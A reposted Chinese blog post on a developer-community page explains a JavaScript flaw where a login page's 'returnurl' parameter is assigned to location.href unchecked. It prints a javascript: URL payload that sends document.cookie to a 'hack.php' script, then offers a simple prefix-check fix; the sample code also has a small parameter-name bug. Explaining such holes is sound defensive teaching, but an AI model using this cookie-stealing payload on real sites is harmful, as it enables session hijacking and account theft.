开发者社区> 长征2号> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

javascript实现“登录后跳回之前页面”的漏洞

简介:
+关注继续查看

www.xxx.com网站有个登录页面login.htm,登录之后需要跳到之前的页面www.yyy.com

url形式如下:http://www.xxx.com/login.htm?returnurl=http://www.yyy.com 

long.htm代码里面通过javascript跳转:


复制代码
/**
* javascript获取URL指定参数对应的值
* @method getQueryString
* @param {string} s 参数名
* @return {string}
*/
function getQueryString(s){
    
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
    
var r = window.location.search.substr(1).match(reg);
    
if (r != nullreturn r[2]; return "";
}

location.href
=getQueryString("returnurl");
复制代码

这看上去没问题,满足业务需求,但是有个js漏洞 (感谢csy同学指出)

如果url变成:

http://www.xxx.com/login.htm?returnurl=javascript:alert(document.cookie); 

登录完之后就能取得整个本地cookie。

 

更进一步,url变成:
http://www.xxx.com/login.htm?returnurl=
javascript:var%20img%20=%20document.createElement%28%27img%27%29;img.src=%27hack.php?cookie=%27+document.cookie;document.body.appendChild%28img%29;

如果恶意用户散布这个链接,只要一点击,就可以偷取用户的cookie,从而模拟用户登录大多数网站,达到盗取账号的目的。

 

所以这个漏洞很有必要堵上,处理一下参数里面的值,比如以判断参数值是否以http:开头(我们采用的),总之根据你的业务需要的方式做具体防范。


var returnurl = getQueryString("returnurl");
returnurl 
= returnurl.toLowerCase().indexOf('http:'== 0 ? returnurl : "";
location.href
=returnurl;

 


本文转自Kai的世界,道法自然博客园博客,原文链接:http://www.cnblogs.com/kaima/archive/2011/04/15/2017182.html,如需转载请自行联系原作者。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
使用JavaScript将当前页面保存成PDF,支持图片和文字的保存
使用JavaScript将当前页面保存成PDF,支持图片和文字的保存
183 0
图解JavaScript——代码实现(Object.create()、flat()等十四种代码原理实现不香吗?)
图解JavaScript——代码实现(Object.create()、flat()等十四种代码原理实现不香吗?)
33 0
图解JavaScript——代码实现【2】(重点是Promise、Async、发布/订阅原理实现)
图解JavaScript——代码实现【2】(重点是Promise、Async、发布/订阅原理实现)
58 0
使用 JavaScript 中的 document 对象查找 HTML 元素,实现“登录”按钮的高亮特效 鼠标悬浮于“登录”按钮时,按钮高亮显示;
使用 JavaScript 中的 document 对象查找 HTML 元素,实现“登录”按钮的高亮特效 鼠标悬浮于“登录”按钮时,按钮高亮显示;
89 0
JavaScript复制内容到系统剪切板的实现
最近写一个多平台接入的代码,有个小需求,一键嵌入代码,Mark一下实现过程和遇到的一些问题,大家共勉。
44 0
JavaScript 实现:输出斐波那契数列
问渠那得清如许,为有源头活水来。
60 0
前端 JavaScript 实现一个简易计算器
前端使用 JavaScript 实现一个简易计算器,没有难度,但是里面有些小知识还是需要注意的,算是一次基础知识回顾吧。
68 0
【前端】JavaScript 实现下载图片但不自动预览图片
【前端】JavaScript 实现下载图片但不自动预览图片
227 0
如何使用JavaScript实现前端导入和导出excel文件(H5编辑器实战复盘)
最近笔者终于把H5-Dooring的后台管理系统初步搭建完成, 有了初步的数据采集和数据分析能力, 接下来我们就复盘一下其中涉及的几个知识点,并一一阐述其在Dooring H5可视化编辑器中的解决方案. 笔者将分成3篇文章来复盘, 主要解决场景如下
211 0
+关注
文章
问答
文章排行榜
最热
最新
相关电子书
更多
JavaScript 语言在引擎级别的执行过程
立即下载
在 IoT 设备进行 JavaScript 开发的探索之路
立即下载
Tsar-灵活的系统和应用采集软件
立即下载